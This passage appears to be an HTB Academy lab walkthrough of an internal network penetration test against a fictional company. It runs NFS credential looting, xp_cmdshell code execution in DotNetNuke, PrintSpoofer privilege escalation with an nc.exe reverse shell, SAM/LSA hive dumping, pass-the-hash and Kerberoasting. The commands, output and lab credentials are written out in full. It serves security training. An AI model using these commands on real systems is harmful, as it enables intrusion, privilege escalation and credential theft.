ris:GlobalLine
- Run this on the attacker after the SSH SOCKS tunnel and
proxychains.confare active.- Proxychains redirects curl’s TCP connection through
dmz01to internal host172.16.8.20:80.- HTML returned in the terminal proves end-to-end HTTP reachability, but a browser is easier for application interaction.
- Configure the browser to the same SOCKS listener or use a proxy-aware browser profile; do not assume system-wide routing changed.
- If curl fails, first test
proxychains nc -nv 172.16.8.20 80to isolate transport from HTTP behaviour.
Browsing through the SOCKS proxy configured in Firefox (Step 4) confirms a live DotNetNuke CMS install:
dnn-homepage-172-16-8-20.png (SHA-256 · GPG signature)
[!info]+ Command Breakdown
ris:Global
- DotNetNuke (DNN): a .NET CMS with a long history of critical vulnerabilities and rich built-in admin functionality — think “the WordPress of .NET”
- Registering a new account triggers an admin-approval email workflow rather than instant access — a realistic dead end, but worth attempting on every engagement since misconfigured instances do sometimes auto-approve
http://172.16.8.20/Login?returnurl=%2fadminis the direct admin login path, noted for later once credentials are found
proxychains showmount -e 172.16.8.20
Export list for 172.16.8.20:
/DEV01 (everyone)
[!success]+ Finding — Anonymous NFS Export
ris:Keyris:Key
- showmount -e: lists NFS exports without any credentials
/DEV01 (everyone)means any host can mount this share with no authentication whatsoever- Proxychains cannot relay the NFS mount protocol itself, but root SSH access on
dmz01(Step 3) lets us mount it directly from the pivot host instead
root@dmz01:/tmp# mkdir DEV01
root@dmz01:/tmp# mount -t nfs 172.16.8.20:/DEV01 /tmp/DEV01
root@dmz01:/tmp# cd DEV01/DNN && cat web.config
<username>Administrator</username>
<password>
<value>D0tn31Nuk3R0ck$$@123</value>
</password>
[!success]+ Finding — DNN Administrator Credentials in a File Share
ris:Keyris:Key
- Severity: High. Two findings here:
Insecure File Shares(anonymous NFS write/read access) andSensitive Data on File Shares(cleartext admin credentials sitting in aweb.config)- Report them separately even though they’re discovered together — if the client later restricts anonymous access but leaves the share readable to all Domain Users, the sensitive-data risk persists independently
- Credential recovered:
Administrator:D0tn31Nuk3R0ck$$@123for the DNN CMS- This is textbook pillaging: config files are consistently one of the highest-value targets on any file share — see the Credentialed Enumeration content across the Penetration Tester Path
[!example]+ PayloadsAllTheThings — NFS Exposure Reference
ris:CommandPayloadsAllTheThings — Linux Privilege Escalation includes NFS andno_root_squashabuse. This target’s immediate problem is anonymous disclosure rather than root squashing, but the same export must be checked for both access control and UID-mapping weaknesses.showmount -e 172.16.8.20 mkdir -p /mnt/dev01 mount -t nfs -o ro,nolock 172.16.8.20:/DEV01 /mnt/dev01 find /mnt/dev01 -type f \( -iname '*.config' -o -iname '*.xml' -o -iname '*.ps1' -o -iname '*.kdbx' \) -print nmap -p111,2049 --script nfs-showmount,nfs-ls,nfs-statfs 172.16.8.20
- Read-only mount: reduces accidental modification while validating disclosure
- Targeted file search: prioritises common credential-bearing configuration and automation files
- NSE checks: capture export and filesystem evidence without depending on an interactive mount
- If
no_root_squashis present, test it only within scope because it can convert a writable export into host-level privilege escalation.
[!tip]+ Always Try a Packet Capture When You Have Root
fas:Lightbulbroot@dmz01:/tmp# tcpdump -i ens192 -s 65535 -w ilfreight_pcap
- With root SSH access on a dual-homed host, running
tcpdumpcosts nothing and occasionally captures cleartext credentials traversing the internal segment- This capture came back empty (no interesting traffic on this VLAN at this moment), but it is standard practice on an Internal Penetration Test to run this periodically
- Open the resulting
.pcapin Wireshark back on the attack host — see Intro to Network Traffic Analysis for a deeper dive
Step 10 — Attacking DNN: SQL Console RCE fas:Terminal
[!info]+ Operator Context — Database Administration to OS Execution
fas:Terminal
- Starting state: DNN administrator access exposes a SQL console connected to Microsoft SQL Server under a database principal.
- Execution: first query database identity/version/role, then determine whether
xp_cmdshellexists and whether the principal may enable/use it under the assessment rules.- Mechanism:
xp_cmdshellasks the SQL Server service to create an OS process. The resulting Windows identity is the SQL service account or configured proxy, not the web user.- Read the result: returned
whoamioutput proves OS execution; a successful SQL statement alone proves only database control.- State change: enabling advanced options or
xp_cmdshellalters server configuration. Capture original values and restore them after proof.- Handoff: enumerate the new Windows token/privileges and network context to determine whether local escalation is available.
Logging in at /Login?returnurl=%2fadmin with Administrator:D0tn31Nuk3R0ck$$@123 succeeds as the SuperUser account:
dnn-superuser-users-panel.png (SHA-256 · GPG signature)
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE
[!info]+ Command Breakdown
fas:Terminal
- DNN exposes a raw SQL console under Settings.
xp_cmdshellis disabled by default in SQL Server and must be explicitly re-enabled throughsp_configure- No output on success is normal for these statements — absence of an error is the confirmation
- Once enabled, arbitrary OS commands run in the format
xp_cmdshell '<command>'
xp_cmdshell 'whoami'
[!info]+ SQL Console Test — Execute One Harmless OS Command
fas:Terminal
- Paste this SQL statement into DNN’s administrative SQL console after
xp_cmdshellis enabled.- Do not run it in Bash or a Windows command prompt; SQL Server interprets it.
xp_cmdshellasks the SQL Server service to create an OS process containingwhoami.- The returned account name proves SQL-to-OS execution and identifies the service context for privilege enumeration.
- Record/restore the original
xp_cmdshellconfiguration after the minimum proof.
dnn-sql-console-xp-cmdshell-whoami.png (SHA-256 · GPG signature)
[!info]+ Command Breakdown
ris:Key
- Output:
nt service\mssql$sqlexpress— code execution confirmed as the SQL Express service account- This is a lower-privileged service context, so the next step is still privilege escalation, but RCE is already achieved and reportable as
Command Injection/Insecure Deserialization-class High finding- A second, independent RCE path is also available: modifying DNN’s Allowable File Extensions (Settings → Security → More → More Security Settings) to permit
.asp/.aspxuploads, then dropping a web shell via the File Management page — useful as a backup if the SQL console path is ever patched
[!example]+ PayloadsAllTheThings — MSSQL xp_cmdshell Reference
ris:CommandPayloadsAllTheThings — MSSQL Server Cheat Sheet and its maintainedxp_cmdshellsection cover the same SQL-to-OS execution path used by DNN’s administrative console.EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC master..xp_cmdshell 'whoami /all'; EXEC master..xp_cmdshell 'hostname && ipconfig';
- Advanced options: must be enabled before SQL Server exposes the
xp_cmdshellsetting- Execution context: defaults to the SQL Server service account for sysadmin callers, so
whoami /alldetermines the next privilege-escalation path- Evidence: record the original disabled/enabled state so it can be restored after validation
- Disable
xp_cmdshellagain at closeout if the engagement changed it; an administrative SQL console capable of enabling it remains the underlying risk.
Step 11 — Privilege Escalation via SeImpersonate ris:Radar
[!info]+ Operator Context — Token Impersonation to SYSTEM
fas:RocketLaunch
- Starting state: OS commands run as a service identity whose token includes
SeImpersonatePrivilege.- Execution: verify the privilege is present/enabled, transfer the chosen lab binary, start the correct listener if a callback is used, then launch a harmless SYSTEM proof.
- Mechanism: the technique coerces or accepts authentication from a privileged service, impersonates the resulting token, and creates a process under that security context.
- Read the result: only
whoami/whoami /allshowingNT AUTHORITY\\SYSTEMconfirms elevation. A connection under the original SQL account is not success.- Compatibility: exploit choice depends on Windows build, services, privileges, architecture, and endpoint controls; a missing privilege cannot be repaired with different flags.
- Handoff: record the token condition as the root cause, remove tooling, then collect only authorised local secrets.
Uploading and running a webshell (or continuing via xp_cmdshell) confirms SeImpersonatePrivilege is enabled for the current context:
aspx-webshell-whoami-priv-seimpersonate.png (SHA-256 · GPG signature)
[!success]+ Finding — SeImpersonate Enabled
ris:Keyris:Key
SeImpersonatePrivilege: Enabledon a service account is the signature of a JuicyPotato/PrintSpoofer/RoguePotato-class local privilege escalation- See the SeImpersonate and SeAssignPrimaryToken section of Windows Privilege Escalation for the full technique background
- Upload both
nc.exeandPrintSpoofer64.exevia the DNN file manager (after re-permitting.exeuploads) toc:\DotNetNuke\Portals\0
[!info]+ Full Token Context —
whoami /allfrom the ASPX Webshellris:RadarThe webshell executes insidew3wp.exeas the IIS application pool identity — a different security context from thent service\mssql$sqlexpressaccount seen viaxp_cmdshellin Step 10. Two RCE paths, two service identities, both carrying impersonation rights:User Name SID ============================= ============================================================== iis apppool\dotnetnukeapppool S-1-5-82-2509074736-2823226210-3382280688-2640573866-389213758 PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeAuditPrivilege Generate security audits Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
S-1-5-82-*: a virtual app-pool identity — no password, and group membership is onlyBUILTIN\Users,BUILTIN\IIS_IUSRS, andNT AUTHORITY\SERVICE. Nothing here is administrative, so local privilege escalation is mandatory before any secret collection- Network identity ≠ local identity: when this context touches remote resources it authenticates as the machine account
ACADEMY-AEN-DEV$— a legitimate domain computer. That is why unauthenticated-looking domain queries (net group /domain,net accounts /domain,setspn) all succeed when issued through the webshell with no user credential suppliedDisabledstate does not matter: a process can enable any privilege present in its token at runtime. Presence in the list is the finding — andSeImpersonatePrivilegeis not only present but alreadyEnabledSeAssignPrimaryTokenPrivilegeis also held: together withSeImpersonatethis satisfies the prerequisite for the entire Potato family (PrintSpoofer, GodPotato, RoguePotato, JuicyPotato), not just one variant- Cross-check with
tasklist:spoolsv.exe(Print Spooler) is running on the host, so PrintSpoofer’s named-pipe coercion will work. Had the spooler been disabled, GodPotato/RoguePotato would be the fallback chain- Interpretation: every default IIS/MSSQL service context carries
SeImpersonatePrivilege— treat any webshell or xp_cmdshell foothold on Windows as “one Potato away from SYSTEM” untilwhoami /privproves otherwise
c:\DotNetNuke\Portals\0\PrintSpoofer64.exe -c "c:\DotNetNuke\Portals\0\nc.exe 172.16.8.120 443 -e cmd"
[!info]+ PrintSpoofer Command — Run on the Windows DNN Host
fas:RocketLaunch
- Start the Netcat listener in the next block on
dmz01before running this through the web shell orxp_cmdshellon172.16.8.20.- Both executable paths must exist on the Windows host;
172.16.8.120isdmz01’s internal address and port 443 must match its listener.-ctells PrintSpoofer which child command to start after obtaining an impersonated SYSTEM token.nc.exe ... -e cmdconnects back and attachescmd.exeto the socket.- Tool exit text is insufficient—verify the identity inside the received shell.
root@dmz01:/tmp# nc -lnvp 443
Connection received on 172.16.8.20 58480
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>hostname
ACADEMY-AEN-DEV01
[!info]+ Command Breakdown
ris:Key
- PrintSpoofer64.exe -c: coerces the Print Spooler service to authenticate to a named pipe we control, then impersonates the resulting SYSTEM token to launch the given command
- Catching the callback on
dmz01(not the attack host directly) avoids needing another pivot hop, sincedmz01already has a route to172.16.8.0/23- Interpretation: full
NT AUTHORITY\SYSTEMonACADEMY-AEN-DEV01— this is our first proper foothold inside the AD domain itself
[!example]+ PayloadsAllTheThings — SeImpersonate / PrintSpoofer Reference
ris:CommandPayloadsAllTheThings — Windows Privilege Escalation links its impersonation-privilege family: PrintSpoofer, JuicyPotato, RoguePotato, and EfsPotato. Tool choice depends on the Windows build, available services, and outbound reachability.whoami /priv PrintSpoofer64.exe -i -c cmd PrintSpoofer64.exe -c "C:\Path\nc.exe 172.16.8.120 443 -e cmd" whoami
- Prerequisite: the current token must hold
SeImpersonatePrivilegeorSeAssignPrimaryTokenPrivilege-i -c cmd: starts an interactive SYSTEM shell when the current channel can support it- Callback form: is more reliable through web or SQL command execution where an interactive child console is invisible
- Validate the returned identity explicitly; successful tool output alone is not proof of a SYSTEM security context.
Step 12 — Dumping Local Secrets ris:Key
[!info]+ Operator Context — Offline Windows Secret Extraction
ris:Key
- Starting state: SYSTEM permits access to protected registry hives containing local account material and the boot-key inputs required to decrypt it.
- Target side: save exact SAM/SYSTEM/SECURITY hive copies to a temporary tracked location; do not modify live registry data.
- Attacker side: transfer the copies securely and parse them offline with Impacket so sensitive output is not repeatedly generated on the target.
- Mechanism: SYSTEM supplies boot-key material, SAM stores local password hashes, and SECURITY may contain cached/domain/service secrets. They have different formats and reuse value.
- Read the result: label every item as local, domain, machine, cached, or LSA secret. A local hash may authenticate only to hosts reusing the same local password.
- Handoff: validate one high-confidence domain pair, update provenance, encrypt raw evidence, and remove hive copies from the target.
c:\DotNetNuke\Portals\0> reg save HKLM\SYSTEM SYSTEM.SAVE
c:\DotNetNuke\Portals\0> reg save HKLM\SECURITY SECURITY.SAVE
c:\DotNetNuke\Portals\0> reg save HKLM\SAM SAM.SAVE
[!info]+ Hive Export — Run All Three Commands in the SYSTEM Shell
ris:Key
- These run on the compromised Windows host, not the attacker. Do not copy the displayed prompt prefix.
- Save
SYSTEM,SECURITY, andSAMbecause secretsdump needs their related key material together.- The commands create snapshot files in the current directory; they do not delete or modify the live hives.
- Confirm each reports success and record exact paths before downloading through DNN.
- These files contain sensitive credential material. Delete them from the target after verified transfer and protect them locally.
Download all three .SAVE files via the DNN file manager (after permitting the .SAVE extension):
dnn-filemanager-sam-security-system-save.png (SHA-256 · GPG signature)
secretsdump.py LOCAL -system SYSTEM.SAVE -sam SAM.SAVE -security SECURITY.SAVE
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<redacted>:::
mpalledorous:1001:aad3b435b51404eeaad3b435b51404ee:3bb874a52ce7b0d64ee2a82bbf3fe1cc:::
[*] Dumping cached domain logon information (domain/username:hash)
INLANEFREIGHT.LOCAL/hporter:$DCC2$10240#hporter#f7d7bba128ca183106b8a3b3de5924bc
[*] Dumping LSA Secrets
[*] DefaultPassword
(Unknown User):Gr8hambino!
[!info]+ Command Breakdown
ris:Key
- secretsdump.py LOCAL: parses offline registry hive dumps rather than connecting live over the network — the correct mode when working from exfiltrated
SAM/SYSTEM/SECURITYfiles- Local SAM hashes: local
AdministratorandmpalledorousNTLM hashes, useful for pass-the-hash against this specific host- Cached domain logon for
hporter: a$DCC2$hash, crackable offline but not directly usable for pass-the-hash- LSA
DefaultPassword:Gr8hambino!in cleartext with no username attached — this is an autologon credential
[!tip]+ Current Equivalent — current Impacket entry point
fas:LightbulbThis is the same maintained Impacket tool through its current packaged console-script name; older source checkouts exposed the.pyfilename directly.impacket-secretsdump LOCAL -system SYSTEM.SAVE -sam SAM.SAVE -security SECURITY.SAVE
[!example]+ PayloadsAllTheThings — Offline SAM, SYSTEM, and LSA Reference
ris:CommandPayloadsAllTheThings — Windows Privilege Escalation links itsSAM and SYSTEM files, registry password-search, and autologon sections. Saving all three hives preserves both local hashes and LSA secrets for offline parsing.reg save HKLM\SAM C:\Windows\Temp\SAM.save /y reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.save /y reg save HKLM\SECURITY C:\Windows\Temp\SECURITY.save /yimpacket-secretsdump LOCAL -sam SAM.save -system SYSTEM.save -security SECURITY.save
- SAM + SYSTEM: the boot key in
SYSTEMdecrypts local NTLM material stored inSAM- SECURITY: adds cached domain logons, LSA secrets, service credentials, and autologon material
- Offline parsing: avoids repeatedly touching LSASS and preserves a reproducible evidence set
- Hive copies and parsed output contain sensitive client credentials; store, transfer, and destroy them under the engagement data-handling rules.
proxychains crackmapexec smb 172.16.8.20 --local-auth -u administrator -H <redacted>
SMB 172.16.8.20 445 ACADEMY-AEN-DEV [+] ACADEMY-AEN-DEV\administrator <redacted> (Pwn3d!)
[!info]+ Pass-the-Hash Validation — Run on the Attacker
ris:LockPassword
- Replace
<redacted>with the authorised local Administrator NT hash parsed from SAM and run through the active pivot.--local-authis essential: it tells the tool to authenticate against the host’s local account database, not the AD domain.[+]proves authentication;(Pwn3d!)indicates the account has administrative SMB privileges according to the tool.- This validates the local hash. It does not validate the cached
hporterdomain hash shown elsewhere.- Modern installations use
nxc smb ...; preserve the exact tool/version in evidence.
c:\DotNetNuke\Portals\0> net user hporter /dom
User name hporter
Global Group memberships *Domain Users
[!success]+ Finding — First Domain Credential Pair
ris:Keyris:Key
- Confirmed the local Administrator hash works via CrackMapExec pass-the-hash (
Pwn3d!) — a durable local-admin fallback onDEV01- Cross-referencing
net user hporter /domconfirmshporteris a real domain account, so the LSADefaultPasswordsecret found above belongs to it- First domain credential pair:
hporter:Gr8hambino!— this is the pivot point for 7 - Lateral Movement
[!tip]+ Current Equivalent — NetExec (
nxc)fas:LightbulbUse the maintained command below for the same step; the Academy command and output remain above for comparison.proxychains nxc smb 172.16.8.20 --local-auth -u administrator -H <redacted>
[!tip]+ CrackMapExec Is Unmaintained — Move to NetExec
fas:LightbulbThis walkthrough usescrackmapexec, but the project has been unmaintained since 2023. NetExec (nxc) is the actively maintained community fork with the same syntax and additional protocol support:proxychains nxc smb 172.16.8.20 --local-auth -u administrator -H <hash>The
--local-auth,-H, and module flags carry over directly, making the switch nearly frictionless.
Step 13 — Internal and Domain Enumeration from the Webshell ris:Radar
[!info]+ Operator Context — Read-Only Enumeration Through the ASPX Webshell
ris:Radar
- Starting state: code execution on
ACADEMY-AEN-DEV01(172.16.8.20) asiis apppool\dotnetnukeapppool(Step 11), with SYSTEM obtainable on demand via PrintSpoofer.- Execution: read-only commands only —
ipconfig /all,tasklist /svc,arp -a,route print,net user,net localgroup administrators,net accounts /domain,net group /domain,setspn. None of these modify host or domain state.- Mechanism: domain-scoped queries issued from the webshell authenticate as the machine account
ACADEMY-AEN-DEV$(Step 11 token analysis), so AD answers them without any recovered user credential.- Read the result: the output of this step is a target list, not an exploit — password policy (spray feasibility), group structure (admin model), SPNs (Kerberoast candidates), and hostnames (infrastructure map).
- Handoff: everything here feeds 7 - Lateral Movement; the Kerberoast target list is the immediate priority now that
hporter:Gr8hambino!is validated.
hostname && ipconfig /all && route print && arp -a
[!info]+ System and Network Context
ris:Global
- Hostname/IP:
ACADEMY-AEN-DEV01,172.16.8.20/23, gateway172.16.8.1, DNS172.16.8.3(the DC), DNS suffixINLANEFREIGHT.LOCAL— domain membership confirmed from the host sidevmxnet3adapter +vmtoolsd.exe/VGAuthService.exein the process list: the host is a VMware VM — useful context for snapshot/revert risk discussions, no direct attack valueroute printshows only the connected/23and a default gateway: unlikedmz01, DEV01 is not dual-homed — no new subnets are reachable from here directly. The default gateway may route further, but there is no second NIC to pivot through- ARP table: neighbors are exactly the hosts already known —
172.16.8.3(DC01),172.16.8.50(MS01),172.16.8.120(dmz01). No surprise hosts on the segment- Interpretation: DEV01 is a leaf node. Further movement depends on credentials and services, not on network position
net user
net localgroup administrators
[!info]+ Local Accounts and Administrators
ris:LockPassword
- Local users:
Administrator,Guest,DefaultAccount,WDAGUtilityAccount, andmpalledorous— matching the SAM dump from Step 12 exactly (RID 1001)- Local admins: only local
AdministratorandINLANEFREIGHT\Domain Admins— no domain user groups nested into local admin, so a regular domain user will not get admin herempalledorousis not a local admin on this host, but his NT hash is still worth pass-the-hash checks against other hosts — local account password reuse across servers is one of the most common real-world findingsWDAGUtilityAccountis the managed account for Windows Defender Application Guard — noise, not an attack path
tasklist /svc
[!info]+ Process List Highlights
fas:Terminal
Process Why it matters spoolsv.exe(Spooler)Print Spooler is running — confirms PrintSpoofer viability for Step 11 svchost.exe(WinRM)WinRM service is running even though 5985did not appear in the earlier port scan — re-check reachability fromdmz01; a listening WinRM is a clean lateral-movement landing spot once admin creds existsvchost.exe(ftpsvc)Microsoft FTP service is installed/running though :21was closed externally — worth checking local bindings; FTP roots frequently hold readable deployment filessqlservr.exe/sqlbrowser.exe(MSSQL$SQLEXPRESS)Confirms the SQL Server stack behind DNN and the Step 10 xp_cmdshellcontextexplorer.exe+LogonUI.exe+taskhostw.exeAn interactive console session exists — consistent with the hporterautologonDefaultPasswordrecovered from LSA in Step 12. With SYSTEM, LSASS on this host very likely holds live domain credentials(absent) MsMpEng.exe/ EDR processesNo obvious AV/EDR process in the list — still verify before running noisy tooling; absence in tasklistis a signal, not proof
net accounts /domain
[!success]+ Finding — Weak Domain Password Policy
ris:Keyris:Key
- Minimum password length: 1 and password history: none — trivially weak passwords are permitted by policy
- Lockout threshold: Never — the domain will not lock accounts regardless of failed attempts, so password spraying carries no lockout risk in this lab. On a real engagement you would still throttle and spread attempts, but the finding stands on its own
- Maximum password age 42 days — credentials rotate, so recovered passwords have a shelf life
- Severity: Medium —
Weak Password Policy/No Account Lockout. Report as a standalone finding; it materially enables the spraying attacks used later
net group /domain
[!info]+ Domain Group Structure — Reading the Admin Model
ris:FileList
- Tiered administration model:
Tier 1 AdminsthroughTier 4 Admins(plusTier Admin Users Management) — expect admin privilege to be scoped by tier; landing a Tier-x account tells you exactly which systems it should control- High-value groups to track:
Secadmins,IT Admins,Server Admins,SQL Admins,Website Admin,GPO Management,Exchange Administrator,Service AccountsProtected Usersexists: members of this group cannot authenticate with NTLM and cannot be delegated — check membership before counting on pass-the-hash or delegation attacks against any specific account later- File-share permission groups (
File Share F/G/H Drive,File Share Admin,Fileshare Management) map directly to share-level attack paths worth enumerating once a domain credential is in hand- Interpretation: the group list is a map of where privilege lives. Cross-reference every future credential against this list with
net user <name> /domthe moment it is recovered
setspn -T INLANEFREIGHT -Q */*
[!success]+ Finding — Kerberoastable Service Accounts and an Infrastructure Map
ris:Keyris:KeyEvery user account below carries an SPN and is therefore Kerberoastable — any valid domain credential (e.g.hporter) can request a crackable RC4/AES service ticket for each of them. Machine-account SPNs (DEV01, MS01) are excluded — machine passwords are long random values and not practically crackable.
Account SPN Assessment mssqlsvcMSSQLSvc/DB01.inlanefreight.local:1433SQL service account — classic roast target svc_sqlMSSQLSvc/SQL01.inlanefreight.local:1433SQL service account sqlprodMSSQLSvc/SQL02.inlanefreight.local:1433SQL service account sqldevMSSQLSvc/SQL-DEV01.inlanefreight.local:1433SQL service account sqltestMSSQLSvc/DEVTEST.inlanefreight.local:1433SQL service account sqlqaMSSQLSvc/QA001.inlanefreight.local:1433SQL service account mssqladmMSSQLSvc/SQL-WEB01.inlanefreight.local:1433Name implies SQL admin — priority target azureconnectadfsconnect/azure01.inlanefreight.localAzure AD Connect sync account — top priority. Sync accounts routinely hold directory replication rights (DCSync-equivalent) backupjobbackupjob/veam001.inlanefreight.localVeeam backup service — backup infrastructure is a credential goldmine and often domain-admin adjacent vmwarescvcvmware/vc.inlanefreight.localvCenter service account — virtualization control plane sapsso/sapvcSAP/APP01,SAPsvc/SAP01SAP estate present in the environment
- Infrastructure discovery bonus: the SPN list reveals hostnames that host discovery never showed —
DB01,SQL01,SQL02,SQL-DEV01,DEVTEST,QA001,SQL-WEB01,azure01,veam001,vc,APP01,SAP01. Resolve them from DEV01 (nslookup <name> 172.16.8.3) to extend the target list beyond the four hosts found by the ping sweep- Attack path: roast with the recovered domain credential, crack offline (
hashcat -m 13100for RC4 tickets), then pivot into the MSSQL estate — SQL service accounts are frequently local admins on their own hosts and members ofSQL Admins- The tail of the output (
Existing SPN found!+ an LDAP connect error) is setspn failing a second query against an unresolved$DOMAINvariable — operator error in the lab shell, not a target-side protection
[!example]+ PayloadsAllTheThings — Kerberoasting Reference
ris:CommandPayloadsAllTheThings — Kerberoast covers requesting and cracking service tickets. Either side of the pivot works: Impacket from the attacker through SOCKS usinghporter, or Rubeus uploaded to DEV01.proxychains GetUserSPNs.py 'INLANEFREIGHT.LOCAL/hporter:Gr8hambino!' -dc-ip 172.16.8.3 -request hashcat -m 13100 spns.txt /usr/share/wordlists/rockyou.txtRubeus.exe kerberoast /outfile:spns.txt
-request: actually requests the tickets rather than only listing SPN accounts- Mode 13100: Kerberos 5 TGS-REP etype 23 (RC4) — the common crackable format
- Rubeus on-host: avoids proxy latency but drops a well-signatured binary on the target — weigh against the no-AV observation above and upload to a tracked path
- Request tickets for all SPN accounts at once; prioritize cracking attempts on
mssqladm,azureconnect, andbackupjob.
[!warning]+ Artefact and Cleanup Log — DEV01
fas:TriangleExclamationfas:TriangleExclamationTheC:\DotNetNuke\Portals\0directory listing shows two webshells sitting in the webroot —cmdasp.aspxandnt-webshell-rosepine.aspx— alongsidePrintSpoofer64.exe,nc.exe, and the three.SAVEregistry hives from Step 12. Every one of these is a logged artefact: remove them at engagement close and verify the DNNAllowable File Extensionssetting is restored to its original value.
[!tip]+ Why Domain Queries Work From a Webshell
fas:Lightbulbfas:LightbulbAn IIS app-pool identity is a local virtual account, but its network credential is the domain computer account.net group /domain,net accounts /domain, andsetspnall succeeded from the webshell without any recovered password because AD treatsACADEMY-AEN-DEV$as an authenticated domain member. Lesson: a webshell on a domain-joined host is already a domain foothold for read-only enumeration.
Lessons Learned fas:Lightbulb
- Always run
sudo -land check GTFOBins before reaching for a kernel exploit. Theopensslfile-read primitive here was faster and safer than any binary exploitation route - Grab durable credentials whenever privileged access is available. A root SSH key outlives password rotations and account lockouts — it is the single best form of Linux persistence
- Uploaded static binaries (Nmap, payloads) are forensic artefacts. Track every file placed on a client system from the very first upload, not retroactively at report time
- Config files are a top-tier pillaging target. The DNN
web.confighanded over full CMS admin access with zero exploitation required — always check file shares before spending hours on exploit development SeImpersonatePrivilegeon a service account is close to an automatic win. PrintSpoofer/JuicyPotato-class tooling turns it into SYSTEM in seconds — always checkwhoami /privimmediately after any RCE- A webshell on a domain-joined host is already a domain foothold for enumeration. The app-pool identity queries AD as the machine account —
net group /domain,net accounts /domain, andsetspnall returned data with no user credential at all - SPN enumeration is free recon that doubles as a network map. Beyond the Kerberoast target list, the SPN output revealed a dozen infrastructure hostnames (SQL, Veeam, vCenter, ADFS, SAP) that ping sweeps and port scans alone never exposed
References fas:BookOpen
- HTB Academy — Attacking Enterprise Networks (Module 163)
- HTB Academy — Pivoting, Tunneling, and Port Forwarding
- HTB Academy — Windows Privilege Escalation
- HTB Academy — Using the Metasploit Framework
- GTFOBins — openssl
- PrintSpoofer — GitHub
- Impacket — GitHub
- NetExec — GitHub
- DotNetNuke / DNN Platform
- MITRE ATT&CK — T1078 Valid Accounts
- MITRE ATT&CK — T1059 Command and Scripting Interpreter
- PayloadsAllTheThings — Linux Privilege Escalation
- PayloadsAllTheThings — Linux Persistence
- PayloadsAllTheThings — Network Pivoting Techniques
- PayloadsAllTheThings — Network Discovery
- PayloadsAllTheThings — Active Directory Attack
- PayloadsAllTheThings — MSSQL Server Cheat Sheet
- PayloadsAllTheThings — Windows Privilege Escalation
- InternalAllTheThings — Nmap Network Discovery
- InternalAllTheThings — Active Directory Enumeration
- InternalAllTheThings — MSSQL xp_cmdshell
#HTB #Academy #AttackingEnterpriseNetworks #CPTS #Inlanefreight #ActiveDirectory #Pivoting #Persistence #DotNetNuke #PrintSpoofer #GTFOBins